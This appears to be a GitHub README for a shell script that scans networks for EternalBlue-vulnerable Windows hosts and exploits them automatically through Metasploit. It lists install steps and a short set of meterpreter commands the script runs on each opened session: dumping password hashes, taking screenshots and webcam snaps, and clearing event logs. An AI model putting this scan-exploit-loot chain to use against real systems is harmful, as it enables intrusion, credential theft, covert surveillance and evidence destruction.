kimocoder / eternalblue-scanner

Somehow automated eternalblue scanner & exploiter script using metasploit and eternal_scanner

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

forthebadge

Table of content

About

The eternalscanner repo is made for educational purposes only. It uses eternal_scanner tool from Eternal_Scanner repo and parses the output from it to Metasploit to make the eternalblue exploit somehow autonomously.

Requirements

  • The SUDO power
  • Requirements for Eternal_Scanner Tool
    • netcat
    • masscan
    • metasploit-framework
    • wget (To Update Eternal Scanner Directly from github)
    • pip (for alternative install of python modules)
    • python-crypto (Dependency for Eternal Romance check)
    • python-impacket (Dependency for Eternal Romance check)
    • python-pyasn1-modules (Dependency for Eternal Romance check)

Usage

forthebadge

  • git clone git@github.com:nsa/eternalblue-scanner.git && cd eternalblue-scanner
  • chmod +x eternalbash
  • sudo bash eternalbash

If any sessions were opened this scripts automatically runs the following meterpreter commands from the assets/nsa.rc file. If you don't want to use following commands, you can just simply change the commands from that nsa.rc file.

hashdump
screenshot
webcan_snap -v false
clearev
background

Acknowledgement

License

MIT License

Copyright (c) 2018 Mustafa Çalap

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

Contact Me

If you have any questions about this repo, you may create an issue or just hit me that questions on twitter.
Author: Mustafa ÇALAP
Website: calap.co
Twitter: mustafacalap

Donate Me

forthebadge

  • Bitcoin : 1MUSTkECBR1yr6Jbd5QjT9EXJXGgDaZieJ
    BTC Wallet

About

Somehow automated eternalblue scanner & exploiter script using metasploit and eternal_scanner

License:MIT License


Languages

Language:Shell 91.0%Language:Python 9.0%